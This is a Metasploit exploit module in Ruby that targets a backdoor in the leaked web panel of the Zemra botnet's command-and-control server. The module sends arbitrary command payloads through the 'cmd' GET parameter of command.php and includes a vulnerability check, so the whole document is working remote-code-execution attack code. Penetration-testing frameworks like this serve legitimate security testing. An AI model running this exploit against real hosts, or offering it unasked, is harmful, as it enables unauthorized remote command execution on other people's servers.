Zemra Botnet CnC Web Panel Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Zemra Botnet CnC Web Panel Remote Code Execution',
        'Description' => %q{
          This module exploits the CnC web panel of Zemra Botnet which contains a backdoor
          inside its leaked source code. Zemra is a crimeware bot that can be used to
          conduct DDoS attacks and is detected by Symantec as Backdoor.Zemra.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Jay Turla <@shipcod3>', # Metasploit Module
          'Angel Injection', # Initial Discovery (PoC from Inj3ct0r Team)
          'Darren Martyn <@info_dox>' # Initial Discovery
        ],
        'References' => [
          ['URL', 'http://0day.today/exploit/19259'],
          ['URL', 'https://web.archive.org/web/20140207114942/http://insecurety.net/?p=144'], # leaked source code and backdoor intro
          ['URL', 'http://www.symantec.com/connect/blogs/ddos-attacks-zemra-bot']
        ],
        'Privileged' => false,
        'Payload' => {
          'Space' => 10000,
          'DisableNops' => true,
          'Compat' =>
                        {
                          'PayloadType' => 'cmd'
                        }
        },
        'Arch' => ARCH_CMD,
        'Targets' => [
          ['zemra panel / Unix', { 'Platform' => 'unix' } ],
          ['zemra panel / Windows', { 'Platform' => 'win' } ]
        ],
        'DisclosureDate' => '2012-06-28',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path of the backdoor inside Zemra Botnet CnC Web Panel', '/Zemra/Panel/Zemra/system/command.php']),
      ]
    )
  end

  def check
    txt = Rex::Text.rand_text_alpha(8)
    res = http_send_command(txt)
    if res && res.body =~ /cmd/
      return Exploit::CheckCode::Vulnerable('Successfully verified remote command execution vulnerability')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  def http_send_command(cmd)
    uri = normalize_uri(target_uri.path.to_s)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => uri,
      'vars_get' =>
        {
          'cmd' => cmd
        }
    })
    unless res && res.code == 200
      fail_with(Failure::Unknown, 'Failed to execute the command.')
    end
    res
  end

  def exploit
    http_send_command(payload.encoded)
  end
end